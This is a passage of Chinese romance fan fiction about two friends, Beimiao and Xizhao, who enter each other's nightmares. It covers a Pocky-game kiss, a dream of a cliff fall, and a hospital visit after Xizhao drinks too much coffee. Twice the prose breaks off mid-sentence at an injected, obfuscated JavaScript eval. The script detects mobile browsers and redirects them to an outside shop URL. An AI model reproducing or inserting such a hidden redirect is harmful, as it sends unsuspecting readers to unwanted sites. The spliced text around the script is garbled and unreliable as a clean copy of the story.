但是看着看着,他就意识到了一个问题:他本就希望西钊能找到在这世界的牵挂、找到继续留在这世界的理由、彻底地脱离梦魇。他本是希望西钊开心的,但现在西钊高兴了,他却觉得不高兴。为什么呢? 大概是西钊出门没告诉他要去哪儿吧。北淼想。毕竟自己总是念叨着要看好了他、不让他离开视线之类的话。不过,也可能是西钊在为昨天的“那件事”生他的气,所以找坤中聊天——嘶,光顾着看,他差点忘了正事。 于是,一只心情不太好的黑色犀牛使用“狂瀑顶”将玩闹的大橘猫和藏獒毫不留情地冲散。 ——至少象征意义上,是这样的画面。 “西钊,我有事想跟你谈谈。” TBC 12. Pocky Game 西钊跟着北淼坐上车时,北淼没有立马转动钥匙。从球场到停车位的路上北淼也一直沉默不语,散发着和冰儿一模一样的低气压。不愧是兄妹。西钊在心里暗暗感叹。他一边系上安全带,一边笑着主动打破这尴尬的氛围:“找我这么着急,有什么事?” 北淼看向前方,手指在方向盘上无声地依次敲击,思考如何开口。他不擅长道歉——或者说,他不擅长和同性道歉,特别是错在自己的时候。因此他甚至没转脸看着西钊,只是自以为平静地说道:“昨晚的事你别放在心上。只是错觉。” 余光里,北淼瞥见西钊脑袋一歪,似乎是皱了邹眉,语气中满是不解:“你是说、浴室坏了的事情吗?不管怎么样,都是我住在你家。应该是我要谢你才对。” “?” 等一会儿,不对。 北淼反应很快,迅速将自己的那份疑虑藏好,没有表现在脸上。为了避免西钊误解他的意思,也是为了套他的话,北淼换了一种说法。这次,他转身与西钊对视,用他那一贯令人无从质疑的语气反问道:“所以,你忘记昨晚做噩梦把我吵醒,结果我差点给你一拳的事情了?” 果然不出所料,西钊的困惑变成了尴尬的微笑,低下头抬手搓搓前额试图回想,但被梦魇影响的记忆只回应给他一片混沌。他摇摇头,尽可能地告诉北淼更多他能说的事情——毕竟他不久前才学会,要对朋友坦诚:“我不记得昨天晚上发生过什么,只记得,做了个噩梦。给你添麻烦了,抱歉。” “收回这句话,我没让你道歉。”北淼收回落在西钊身上的视线,拧动钥匙,踩下油门。 黄色跑车穿行于马路之间,降下一半的车窗让外面的凉风涌入车内,吹乱了北淼的思绪。 西钊没在生他的气,甚至直接把那个吻忘得一干二净。北淼大概在庆幸。这样也好,省得他煞费苦心为自己的行为做解释,也不会影响他们之间的关系。西钊没有任何怀疑地相信了他,这就是个不错的开头,至少说明西钊不会离他越来越远。下一步,就是怎么在梦里做同样的事了。 ——不是指接吻。 是指通过加深联系从而真正干涉梦境。 北淼一边没来由地在心里补充,一边把车停进一个大型超市的地下停车场。 冰箱里的食材已经所剩无几,食量也从平常的一人份增加到三人份,北淼本打算今天和西钊解释清楚后就到超市采购一番,结果阴差阳错地把西钊也带上了。不过俗话说得好,来得早不如来得巧,这个超市几乎囊括了所有能想到的品类,甚至连家具都有。让西钊挑他喜欢的东西,也是了解他的一种方式。至少在进去之前,北淼是这么计划的。 “我们要去哪?”西钊随北淼下车的动作几乎已成习惯,一路跟着他走进拐角的电梯。 “超市。”北淼按下电梯按钮,两个人都插着口袋,像站桩似的并排站在电梯里,“我负责做饭用的生食蔬菜,你只管买你喜欢的,我买单。” “好。”西钊笑着应下来。 进入超市后,两人各推着一辆购物车前往不同的分区。 其实,北淼以为西钊会跟他一路,因为这个家伙爱吃肉,说不定会把他的购物车叠上满满一摞各种各样的肉类食材。但那个高瘦的身影径直地转到了“零食区”。 难道西钊有喜欢的零食?还这么“熟练”?出电梯之前他还做好了调侃西钊没见过世面一样对大型超市东张西望好奇不止的反应,结果是他北淼见识短了。 北淼对于西钊喜欢吃什么肉倒是很熟悉,倒不如说西钊根本不挑。大概是因为从小饿到大,在食物方面根本没得选吧。如此想着的北淼伸手多拿了一份牛肋骨。等他把生食蔬菜区逛了个遍,购物车也填得差不多了。他本来和西钊约好在距离收银不远的“玩具区”碰面,但当北淼往收银处一眼望去,并没看见那个人的身影,他毅然决然地推着沉甸甸的购物车钻进“零食区”里。 西钊看见北淼时显得很意外,以为是自己浪费了太多时间。他手里还拿着一盒“Pocky”巧克力饼干棒和一大包薯片。北淼见此情形都愣了一下,伸手拉过西钊的购物车把脑袋往里面探。 北淼看到西钊放进来的几乎都是自己爱吃的东西——西钊怎么知道自己喜欢什么零食?还有一些他不觉得西钊会喜欢的糖果——棒棒糖?认真的?剩下的就是朴素又便宜的换洗衣物,还有简单实用的日用品。 似乎是看出了北淼的震惊与疑惑,西钊一边温柔笑着把手里的东西放进购物车,一边耐心解释:“你又不会把喜好藏起来,多观察几次就知道你爱吃什么了;这几盒巧克力饼干棒冰儿很喜欢,小时候她总是叼着这个装酷,以前不知道有这么多不同的口味,既然你买单,就多买一些让冰儿尝尝;棒棒糖是给坤中的,虽然不知道他爱吃哪种味道,但都买一份总不会错。” “……” 北淼被气笑了。 他弯腰伏在购物车的把手上,双手交握,把脑袋埋进臂弯里缓解自己不知道是无奈、是生气、还是惭愧的复杂情绪。不是冰儿就是北淼、再不然就是坤中,这个人的脑子能不能分一块儿来想想他自己? “没了?”北淼做了个深呼吸调整心情,抬头对西钊摊手。 对方反而眉毛一挑,回以北淼一个理所当然的温和笑容:“嗯?就这么多了。” “除了衣服,就没你的东西了?”北淼还是憋不住问题,甚至因为太过震惊而带了些质问的语气,“你就没有喜欢的东西吗?” “当然有。”西钊朝北淼狡黠一笑,“都在你框里了。” 他也不管北淼在他身后睁大眼睛看着他的背影噎住一般说不出话,顺势就推走了北淼放在一边的、满是新鲜食材的购物车往收银台的方向走,肉眼可见地心情愉悦。 这个混蛋,到底谁是谁妹妹,谁在谁家住啊…… 卡片在POS机上发出清亮一声“滴”。看着一旁几乎可以用“喜笑颜开”形容的家伙,北淼抑制住了扶额叹息的冲动。 ———— 下午茶时间。北淼在沙发上喝可乐看书,茶几摆着西钊给挑的薯片;冰儿就窝在沙发的另一边捣鼓手机,嘴里还叼着一根“Pocky”——西钊说得对,冰儿确实很喜欢这个巧克力饼干棒;而西钊则端着咖啡在阳台晒太阳,望着远方不知在想些什么,这已经是他今天第二杯了。 大概是被沙发上兄妹俩几乎同步的咀嚼声吸引,西钊走回客厅,坐到冰儿旁边。他十分自然地伸手就要从饼干棒盒子里顺走一根,冰儿也眼疾手快地拿起盒子,手臂伸长,差点就要碰到隔壁北淼的肩膀。 西钊无奈地轻笑:“这也不行?” “想要就自己拿。”冰儿依旧叼着半根饼干棒,单手划拉手机屏幕,眼睛都不带抬一下。 “好啊。” 北淼的余光看到冰儿伸过来的饼干盒,下意识地转头看过去。 于是他就看到西钊歪过头前倾身体、和冰儿凑得非常近,紧接着咬断了冰儿叼着的饼干棒,只留下一小截夹在冰儿唇间。下一秒那截饼干棒就被她张嘴随意地咬碎在口中。如果角度再错位一些,他们刚刚看起来就像是在接吻。而西钊似乎对此“见怪不怪”,宠溺地笑了笑,站起身准备给自己续一杯咖啡,并未理会冰儿在他起身时不轻不重地踹了他一脚,也没注意到北淼错愕的表情。 几秒钟的时间里,无数想法不受控制地冲击北淼的脑海。先不说这种“分享方式”有多离奇,难道他对西钊和冰儿的关系一直理解错了?难道再过段时间他好好一个兄弟就成他妹夫了?这不对吧?这不好吧?他怎么能就这么把西钊交出去——不对等一下反了——他怎么能就这么把冰儿交出去? 在北淼处于一个宕机状态盯着西钊看时,西钊注意到了北淼想要把他钉穿的视线,为了自己的人身安全,西钊立马解释道:“北淼,你误会了。这是冰儿不知道从哪里学来的游戏。通常情况下,一方叼着一根饼干棒,另一方去咬断。然后根据留下部分的长短决定胜负。我们偷吃零食的时候,经常这么玩儿。当然,每次都是我赢。” 冰儿咬断另一根饼干棒,扭头哼了一声:“那是你不要脸。换成小北哥,看你怎么下得去口。” 北淼隐约间感觉到自己好像被骂了。 “你是说,北淼比我更‘不要脸’?”西钊忍俊不禁。 好吧,被骂了。北淼抿唇欲言又止,视线重新挪到书本上,不打算参与这场“闹剧”,但他一想起刚刚的“错位”场景就一个字都看不进去。 “那就让小北哥代替我跟你比。” 冰儿站起来走到北淼面前,北淼闻声抬起头,翘着的腿刚要放下,半张开嘴打算说话,就被一根饼干棒堵了回去。 不是,没人为我发声吗? 北淼睁大眼,难以置信地来回看着二人。冰儿虽然对自己这个任性的行为有些不好意思,但看向北淼的目光里充满必胜的期待。 “……” 就这一个眼神,北淼能为冰儿做任何事。 他认栽地低头轻叹,把含在嘴里的饼干棒叼正,朝西钊扬了扬下巴示意自己参与游戏,并且让西钊先手。他不信西钊能赢他,他可是他们当中“有经验” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334640|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个。 但西钊并不像北淼想的那样因为对象是自己而退缩,甚至在这个人脸上看不见一丝难为情。他弯腰将咖啡杯顺手放上茶几,双手撑在沙发的两边扶手朝北淼靠近。北淼也不甘示弱,表情“平如静水”——直到西钊闭上眼睛,叼住饼干棒的另一端,随即倾身向前歪头咬下绝大部分。 两个人几乎要贴在一起,在他们之间没有气息的流动,因为他们都屏住了呼吸。甚至不需要错位,站在一旁的冰儿都能看出这就是“接吻”的动作。北淼清清楚楚地感觉到西钊的薄唇碰到了自己的,他柔软微卷的头发也蹭到了自己的刘海,让北淼觉得很痒。然而,等北淼从这蜻蜓点水般的触碰中反应过来,西钊已经直起身,嚼着那大半根饼干棒,眼带笑意。 “这次是我赢了,北淼。” 言外之意就是:他已经做到了这个游戏能达到的极限长度,不可能会有比“零”更小的数字。 北淼沉默着低头,拇指蹭过唇上方才“不小心”被西钊碰到的地方。他不自觉地牵起嘴角,小声嗤笑,索性将手上的书本倒扣在茶几上,起身的同时顺走了冰儿手里的一根饼干棒递到西钊面前,颇有一种挑衅的意味。 “现在定胜负,未免有些太早了。”北淼指间的巧克力饼干棒晃了晃,像是拿着宠物零食吸引狗狗的注意力,“难道,你连和我‘打平手’的勇气都没有?” 西钊无声轻叹。面对不但任性脾气还倔的家伙,除了宠着还能怎么样? “如果你坚持,我随时奉陪。” 西钊毫无防备地凑上前咬住一小节饼干棒。北淼即刻伸手捏住西钊的下巴将他往自己的方向拽,饼干棒在这个过程中被北淼一节节咬碎,直到他和西钊双唇相贴。 “……!?” 由于含着饼干棒而没有完全闭口,北淼轻而易举地探入舌头卷走了西钊含在嘴里的那一小节饼干。它被含得有些发软,带着些谷物和巧克力的甜味,以及北淼熟悉的、西钊的味道。北淼的动作强势而激烈,恨不得把西钊嘴里舔个干净才结束。 松开捏着西钊下巴的手,北淼舔舔嘴唇,望向对面那个抬起手满脸惊诧抚摸唇瓣确认刚刚发生了什么事情的家伙。他甚至发现西钊的耳朵尖红了,不过西钊自己似乎没注意到。 “北淼、你……” 西钊“你”了半天,也没说出个后文。 的确,正常来说西钊的“零接触”已经是这个游戏的极限,但北淼知道怎么“作弊”。而且他知道就算他作弊,西钊也只会闷声接受——好吧,至少从这一点来说,他承认,他确实比西钊更不要脸。 不过,北淼不知道的是,在方才的亲吻中,总是有一个低沉的、和北淼一模一样的声音划过西钊的脑海。它说: “嘴张开。” 那是一种很熟悉的感觉,就好像现今的场景曾经发生在梦里。当时他还没来得及多想,思考的能力连同呼吸一起被北淼粗暴地夺去了。等他终于喘上一口气,他便又回到了那种“总觉得应该想起什么”的混沌状态。 好吧,比起这个,他或许更惊讶于北淼居然会为了在冰儿面前维持“世界第一好哥哥”的形象做到这种地步。他对北淼的印象还是太片面了点。 “……下次再有这种游戏,提醒我千万不要和你一起。”西钊给自己倒第三杯咖啡的手都在抖,不知道是被吓到了还是因为那副哭笑不得的模样拿不稳咖啡壶。 北淼则心情大好地把自己重新扔进沙发,拿过茶几上的薯片翘起腿就开始吃:“哼。只是这种程度,就吓成这样,你到底是怎么教训那些对你‘居心不良’的家伙的?” “我可从来不会让他们像你一样离我这么近。” “照你这么说,改天我把你卖了,你还能帮我数钞票。”北淼伸手去够茶几上的可乐。 西钊靠在餐桌边,环抱手臂优雅地抿了口咖啡:“嗯。把买家做掉,钱我们三人平分。” 北淼的手一滑,差点没握住杯子。 从刚才开始就一直保持震惊模样、甚至拿着饼干棒放在嘴边都忘记吃的冰儿,脑袋像被什么卡住一样朝这两个人的方向缓缓转动,表情只能用呆愣来形容。 她不太理解,刚刚才“接吻”过的二人怎么开始若无其事地聊起来了?并且丝毫没有忌惮,如同呼吸一样简单。这、这就是男生之间的友情吗?因为本就没有那种欲望,所以可以为所欲为?那、那还怪恐怖的…… 冰儿看了一眼手里的巧克力饼干棒,沉默着把它放回饼干盒里。 她好像忽然不喜欢吃这玩意儿了。 TBC 13. 坠落 或许是因为下午的三杯咖啡,又或许是北淼的那个“吻”,西钊久久无法入睡。他没有开灯,半拉上窗帘靠在墙边,仰头将后脑抵在墙上,安静地看着天花板。 西钊在“吻”北淼时没有多想,仅仅只是一个恶作剧。他本以为北淼会就此认输,因为这多少也算对他们关系底线的一种挑战,但没想到北淼会直截了当地拉过在线内外左右横跳的西钊、狠狠“报复”回来。北淼到底是怎么想的?难道为了赢,这种事北淼也会对其他人做吗?他是那么随便的家伙吗?当时那种模糊的熟悉感究竟是什么? 咖啡因让西钊的思绪越发混乱,他平时并不会想这些,甚至都不怎么喝咖啡。然而,他没办法不这么做。一旦自己睡着,丑将就会趁虚而入,继续摧残他的精神和意志。他明白,在不反抗的情况下,自己精神崩溃的时刻迟早会来临,而这个交易的漏洞在于:只要能尽可能减少睡眠,让自己更久地清醒,他就有更多时间处理北淼的问题。所以他在以前训练的基础上,通过喝咖啡辅助自己。 意识到这件事的丑将试图利用手臂的疼痛让西钊失去意识,但西钊说什么也是挨打长大的,只要他还醒着,以丑将目前的力量也无法动他几分。 西钊捂着剧痛的手臂,保持靠墙的姿势闭上眼,呼吸愈发沉重,尖锐刺骨的疼痛如猛兽撕扯他的神经,试图将他拽离现实、拖入梦境。但他还不能睡。哪怕一分一秒,他也想争取。 “想拖延时间?你知道‘打小主意’的代价。”丑将的声音在西钊脑海中回响,令他头脑有些发晕。 西钊苦笑着,冷汗沿着额角流下:“你需要养精蓄锐,而我也有私事要解决,你我都需要时间。操之过急,对我们都没有好处。” “嘶——” 西钊知道丑将在找话反驳,他也知道丑将无话可说,因为他是对的。于是,西钊趁热打铁,几乎可以说在威逼利诱:“北淼在你手上,你知道我耍不了花样。还是说……你想尝试一下、是你毁了他快,还是、我毁了你快?” “哟哟哟——居然知道威胁我了?”丑将的气势明显弱了几分,西钊手臂上的疼痛也在逐渐减小,“不过,你说得有道理。哎呀……我就大发慈悲,给你点儿时间和你的朋友们好好‘告别’。记住,别耍小聪明。” 丑将的声音消失,西钊瞬间脱力般地滑坐在地,大口喘息。虽然他知道这只是缓兵之计,但这是他目前唯一能做的事情。在这段时间内,他一定要把北淼从梦魇中拉回来。等到北淼也成了“少他一个也区别不大”中的一员,西钊就完成了他最后的告别。 抱着这样的想法,西钊撑地起身,蹑手蹑脚地来到北淼的房间。他没有想好北淼中途醒来看见自己时的理由,或者说,他没想过。 西钊站在床边,观察北淼的睡颜。和那时在酒店不同,今晚的北淼看上去似乎睡得很安稳,不像是被噩梦所困扰。他的头发不算整齐,刘海也落下来遮住半边眼睛。西钊弯腰,下意识伸手勾指为北淼梳理刘海。而就在肌肤相触的瞬间,他便被那股熟悉的力量拽进某个“异世界”中。 这次,西钊没有身处黑暗,但他周围同样昏暗无光。北淼的潜意识渗入他脑海,告诉他自己身处“空无之地”。在北淼面前不远处有一面等身镜,当北淼走到镜前,“他们”都被里面映出的人影吓了一跳。 “西钊?” 西钊感觉到北淼张口、轻声询问。 镜中人没有任何回应,仿佛一个影子,完美地复刻北淼的一举一动。对西钊来说,这面镜子就是他影像的投射,这种感觉很微妙。他不知道是不是自己的存在已经被北淼所感知。 北淼伸出手想要触碰镜面,“西钊”也跟着向前伸手。然而,他们没有“掌心相贴”。就在距离镜面几尺之差时,“西钊”的手突然穿过如同水面一般的镜子,在涌动的波纹中用不可思议的力量将北淼整个人拽了进去。等北淼站稳脚跟、再次睁开眼,他发现自己来到了一座海边的悬崖上,“西钊”在十米开外的悬崖边。 北淼的困惑和担忧通过“链接”传递给西钊,但西钊却无暇顾及,因为他心中有比这更强烈的情感正冒起星火。他认得这个地方。这是他最初想要“离开”的悬崖。 西钊不知道为什么很喜欢看海,注视着海天相接的远方总会给他带来宁静;他也很喜欢海风包裹他时的那种清凉,淡淡的咸腥拂过鼻腔,一点点地擦除现实的烦恼与不安。他觉得这里很适合作为“终点”。但是,他从来没有跟任何人说过这个“世界的角落”,就连冰儿也没有,为什么北淼会梦到? 借由北淼的眼睛看向远方泛起波涛的大海,西钊忽然觉得很不安。 “西钊!”他听到北淼朝悬崖边手插口袋远眺大海的人喊,“那里危险,快回来!” 而远处的人只是微微侧过身,看不清表情。 “西钊”说话的声音轻如羽毛,却随着海风清晰地传入北淼耳中:“北淼,你为什么那么执着于我?你当真觉得,现在做的一切能够弥补什么吗?你从来不会考虑我的感受,只是为了你心里更好受。” 不。不对。这不是他,他不会这样说话。 西钊心中的不安愈发强烈,他突然感觉到呼吸一滞、仿佛心脏停跳了一拍。北淼僵住身体,似乎有很多话都被“西钊”无懈可击的指控扼在喉咙中,发不出一点声音、令他痛苦又窒息。西钊想要反驳、想要告诉北淼:我不怪你,我感激你为我做的一切。然而一双无形的手死死掐住西钊,让他见证、又阻止他改变,有如玻璃后无力反击的困兽。 他听到“西钊”低语:“十年间,我被界王当做他毁灭世界的傀儡;十年后,我还要被你当做缓解愧疚的工具。我受够了,北淼,我真的受够了。” “不是这样的!西钊!” 不是这样的!北淼! 同一副躯壳中的二人发出了同样的呐喊。 “不是这样的、西钊,你听我说……”西钊从未听过北淼这般恳求的语气,与平日里几乎每时每刻都保持强势的那个人形成鲜明对比。或许在梦里,他们都一样脆弱得不堪一击。 然而,不论是呼唤还是请求,都没能穿透“西钊”坚固的壁垒。那个孤独的身影转过来面向北淼,嘴角扬起自嘲的苦笑,双手从口袋中抽出,缓缓向身体两侧抬起。 糟了。 西钊知道那个“自己”想做什么,他也知道这会给北淼带来多大的伤害。他必须要阻止“西钊”。他必须让北淼抓住他,在那个人掉下去之前,抓住他。 “北淼。”那个人说。 时间的流速突然变得极为缓慢,一切在西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334641|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钊眼前如同逐帧播放的电影。北淼还没有意识到即将要发生的事,西钊必须要让北淼的身体行动起来。 困兽的尖牙不断撕扯锁链,利爪一刻不停地抓挠墙壁,庞大的身躯一次次地撞击玻璃。 “这是你欠我的。” 那个人笑着闭上眼,身体缓缓后仰,海风吹乱他的发丝、掀起他的衣裳。 做点什么、做点什么!做点什么…… 白色的困兽伤痕累累,却依然不知疲倦地撞向玻璃。一道、两道、三道,玻璃在它的冲击下开始龟裂。 崖边的身影一点点下坠,慢慢被岩石吞没。 给我、动起来啊!!!北淼!!!! 来自灵魂深处、击碎次元的呐喊犹如雪獒的狂啸,将残破不堪的壁垒生生震碎。 那一瞬间,“抓住他”的愿望终于突破所有阻隔,直击到对方身上。时间骤然加速,西钊来不及多想,用北淼的身体直奔崖边纵身一跃。没有那股力量的束缚,他的身体从未这样轻快过。 透过北淼的眼睛,他看到自己在坠落。 明明在方才在远处看这悬崖没有多高,但现在他们就好像永远落不到水中,彼此之间的距离无论如何也无法缩短,他借给北淼的力量怎么也够不到那个人的衣角。 西钊忽然开始害怕。他不知道这种恐惧是来自于改变不了北淼错失机会的结局,还是来自面前的这个无休止坠落的自己。或许等他们一同在海水里粉身碎骨,他们就会从这梦魇中惊醒…… 别怕。 忽然,西钊心中响起一个声音。是北淼。但西钊发现北淼并没有开口说话,就像之前与丑将交流时,那种来自内心的声音。尽管只有两个字,北淼的语气也十分温柔,仿佛在安慰某个脆弱的女孩子。 他感觉到北淼往下俯冲的速度变得更快,有一股强大的能量从深邃的海洋底部升腾而上,形成中空的水柱将他们包裹。就好像在回应着这片生命之水,北淼伸出的手掌心也逐渐发出深绿色的微光。 西钊忽然想起,这个家伙是—— “黑犀铠甲——!” 落水的沉闷巨响淹没了北淼的后话。那一瞬间,西钊发现自己不在铠甲之中,他已经离开北淼的意识,变成了梦里的那个自己。他知道,北淼召唤出铠甲,把他护在怀里,背转过身用铠甲作为缓冲迎接最终的坠落。 别怕,我抓住你了。 北淼的声音再次响起,这回,西钊似乎听出了细微的不同。与其说是在安慰西钊,不如说是在安慰北淼自己。 我、抓住你了…… 当西钊试着感知北淼的心境时,他证实了自己的猜测。强烈得几乎要吞噬西钊的情感让他怀疑北淼到底经历了多少次同样的事。北淼害怕西钊会和他说这些话,害怕西钊留给他一个永远也实现不了的承诺。 好在,西钊不会这么说、也不会这么做;好在,这一次,他让北淼接住他了。 “你接住我了。” ……刚刚、那是什么?又来了,这模糊的、混乱的熟悉感。 没有给他回忆的机会,西钊的思绪渐渐在深蓝的黑暗中迷失。海水将他们两人吞没,却没有带来任何溺水的窒息感。北淼就这么圈着西钊的腰,带着他下沉、下沉,直至梦的尽头。 TBC 14. 金生水 北淼做了一个奇怪的梦。 说它奇怪,不是指他不知第几次看见西钊以各种方式走向自我毁灭,也不是指他第一次在最后时刻抓住了西钊的手,而是这件事似乎并不是他自己能够做到的。他感觉自己受到某种操控、借助了某种力量。更重要的是,他听到了西钊的声音,犹如一支闪耀着白色光辉的箭矢将他贯穿,他的身体也随之脱离掌控。 当他紧紧护住西钊、撞击海面的瞬间,他的意识与灵魂似乎与西钊融为一体。但这种微妙而亲密的链接随着他们缓慢地下沉而逐渐减弱,怀中人也一点点变得透明,直到这份联结完全消失,北淼的臂弯里也只剩下漆黑的海水将他包围。 北淼猛然惊醒,从床上坐起。 窗帘没有透过任何光亮,似乎还是凌晨。他下意识想活动活动,却发现右手手背覆着一片冰凉,把他的手压得很实——有谁紧紧握着他的手,不肯松开。北淼抬起左手,掌心抵着前额晃晃脑袋,伸手去开床头柜上的台灯。被光线刺激得眯了眯眼,北淼好一会儿才看清那只手的主人。 西钊跪坐在北淼床前,脑袋枕着一只手,另一只手牢牢地抓着北淼,看起来像是睡着了。 刹那,许多细节如碎片一般涌入北淼脑海:半夜出现在房间的西钊、最近的噩梦都莫名得到安抚、方才镜中映出的身影,以及那似乎跨越了某种壁垒到达他心中的声音。 随着拼图组合在一起,北淼心中有了一个大胆的猜测——西钊和自己一样,能够进入对方的潜意识,或许、也和自己一样,能够对梦中的一切感同身受。但不同的是,北淼发现这次西钊成功地“干涉”了他的梦境,让他第一次战胜“失去”的恐惧,这是现在的北淼还做不到的。仔细回想当时胸口迸发的无数情感,北淼想,要打破这种次元的壁障,或许比他想的还要艰难。 所以…… “我也有、必须留下来的理由。” 北淼忽然想起当初西钊突然改变主意、随他一起回家时说的那句话。那天他正好做了一个噩梦,梦见他怎么也追不上哭泣的小雪。他很绝望、很痛苦,扎根心底的愧疚让他几乎失去希望。然而也就是这个时候,传来了西钊温和的声音。 “别怕。” 他听到西钊在黑暗的尽头轻声说。声音回响在这破碎的长廊之中,犹如一剂定心丸。方才还在尖叫哭泣的小雪渐渐停下哭声,束缚着北淼行动的沉重感也收回了它黑色的触须。北淼立即向声源奔去,这一次,他没有再循环那拯救不能的噩梦,终于来到两人面前。西钊半跪着,脸上尽是温柔,将怀中年幼的小雪交给北淼。 “没事了。小雪就在你身边。已经没事了,北淼。” 北淼记得自己紧紧抱住小雪、他失而复得的妹妹,止不住地啜泣出声。他不知道西钊有没有看到、还记不记得。 虽然北淼没有那个自信认为西钊完全就是因为看到了自己的梦魇才中途改变主意,但结合这些天西钊为他付出的努力,不排除其中有这样的因素。 这个笨蛋,自己都被噩梦折磨得死去活来,还想着安慰别人。北淼一声叹息,在心里暗暗骂道。他反手将自己的手掌盖上西钊的手背,试图将温度传递过去。 一想到自己最近的精神状态的确因为西钊的安抚和干涉有了好转,北淼那内心世界都被窥探了个干净的羞耻感就无处安放和宣泄。要知道,如果放在现实,他绝对不会将梦中的自己展现给别人看——至少不是西钊。结果现在发现西钊已经把他心里最柔软的地方都去了个遍,北淼顿时感觉自己是一副横亘在西钊面前赤身裸体的脆弱皮囊。老实说,真让他脱光衣服站在西钊面前都比这来得爽快。 北淼一边想着,一边抬手按在西钊的头顶,像最开始在影界基地那样,沉重而粗糙地揉了一把,试图叫醒他:“醒醒。之前是噩梦,现在发展成梦游了? 没有回应。北淼甚至听不到西钊的呼吸。 不对劲。 “西钊?西钊!” 北淼俯身晃了晃西钊的肩膀,他这才借着灯光看清西钊现在的模样:脸上毫无血色、嘴唇发白干裂、虚汗浸湿衣袖、呼吸微弱、身体冰凉、却没有发烧的迹象,状态也和之前被困梦魇中时完全不同,没有呓语也没有扭曲五官,甚至比任何时候都要平静,简直像被暂停了时间。北淼似乎知道了梦里的西钊在他怀里慢慢消失的原因——现实里,西钊就已经在不知不觉间陷入了昏迷。 该死!他早该发现的。来不及换衣服,北淼翻身下床给西钊披上一件大衣就把人打横抱起、抓着钥匙往楼下跑,动静甚至把冰儿都吵醒了。 “小北哥,怎么了?” “西钊昏迷不醒,我带他去医院,你在家等我消息。”北淼不等冰儿的回答,鞋也没换地匆匆离开。 那天晚上,北淼打破了那辆黄色跑车时速的最高纪录。 ———— “只是低钾造成的昏迷。” 医生从急诊室走出,看着从等待位上窜起来的“病人家属”面无表情地后撤半步,低头用圆珠笔后盖戳了戳手里的夹板:“初步推测是咖啡因过量导致的。健康成年人每天咖啡的饮用量建议为1-3杯。虽然在通用标准上他体内的咖啡因含量属于正常水平,但身体和精神状态也会影响这个‘标准’。他经常喝咖啡吗?” 北淼愣了一下,摇摇头。他不知道。 医生自然理解成了“不喝”,于是继续嘱咐道:“如果不常喝,一次性突然饮用过多很容易诱发低钾,也就是今天这种情况。好在送来得及时,回去多吃些草莓、香蕉这类富含钾的水果,很快就能恢复了。请在这里签个字,然后到收费处交费。” “他怎么样了?”北淼一边在板子上潦草行书,一边焦急问道。 医生将笔插回白大褂胸前的口袋里:“还在昏迷,一会儿会把他送到急救室旁边的观察室打点滴。他的身体素质不错,很快就会醒的,请放心。” 北淼肉眼可见地长舒一口气,手撑墙壁抹了把脸。他没注意到西钊喝了多少咖啡,也没了解过西钊在这方面的喜好,见鬼的他甚至没看出西钊的状态不对!那个惊醒时会直直给他一拳的家伙怎么可能感受不到北淼握他的手、摸他的头?北淼烦躁地握拳锤了一下墙壁,直奔观察室去。 病床上的西钊脸色好了很多,也有了些许表情,时不时微微皱眉,嘴唇张合无声地说着什么。北淼随意从别处拉了张椅子坐在西钊床边,偶尔调整输液软管的位置,让无意识翻身的西钊不压到手上的针口。他不敢碰西钊,至少不敢直接接触。他担心自己无意间触发和西钊不可控的“链接”。虽然能继续了解西钊自我封闭的世界,但这样现实世界的西钊就会无人照看。 北淼打开手机,打算让冰儿买些刚刚医生提到的水果,但考虑到冰儿不一定会挑,北淼最终还是决定带西钊回家时顺便买。由于图标离得比较近,北淼在退出联系人界面后不小心按出了照相机。他下意识想退出,但半举着的手机后置摄像头正好对准了床上躺着的西钊,让北淼按向退出的手指紧急刹车。 拍个他的丑照好了,以后能拿出来笑话他:太弱了,喝个咖啡都能把自己喝进医院。北淼这么想着,立马站起来调整对焦,上下左右观察怎么拍才能把这个人的一张帅脸拍丑、最好是越丑越好。 然而,就在他找好角度,准备按下屏幕上的快门时,观察室的大门突然打开,另一床病人就被推到西钊隔壁,看上去是车祸撞断了腿。担架床还没挪稳,一群“七大姑八大姨”蜂拥而入,挤进两床之间,喊着什么“天灾人祸”“你得赔偿”直接就把北淼往西钊床上推。北淼反应迅速,握紧手机在自己失衡的身体压上西钊的前一瞬将双手撑在西钊两侧。西钊的脸在北淼眼前放大,平稳而炙热的呼吸让北淼大气都不敢喘。好险。就差一点、差一点他就要碰到西钊了。 身边的闹剧愈演愈烈,北淼却充耳不闻。他正要直起身,不知谁用力将果篮里的一个苹果丢出去,好巧不巧,砸中了北淼的后脑勺。在这股推力的作用下,北淼的额头成功磕到了西钊的。于是,意料之中地,他们肌肤相触的瞬间,北淼便陷入无尽的黑暗。 如果能发出声音,在完全失去意识的主导权之前,北淼或许能听见自己在骂人。 ———— 这一次的梦似乎更接近现实。这是恢复五感之后北淼的第一感觉。周围不是行刑室和无尽深渊、地上也没有满地伙伴的尸体、西钊甚至没有召唤铠甲,似乎在寻找什么,空气中弥漫的不过是废弃工地的浮尘——等等,工地? 北淼迅速观察起西钊身处的地区。断裂的钢筋、没修完的承重柱、长长的台阶,这是当初北淼为了逞一时之能、“夺取”指挥权而约战炘南的地方。虽然后来心虚的他将这盆脏水泼到了西钊身上,但按道理西钊应该是不知道他们约战地点在哪儿的。为什么西钊的梦里会出现这个地方? 西钊的潜意识慢慢融入北淼的脑海:他来这里是见北淼的。 什么? “你果然来了。” 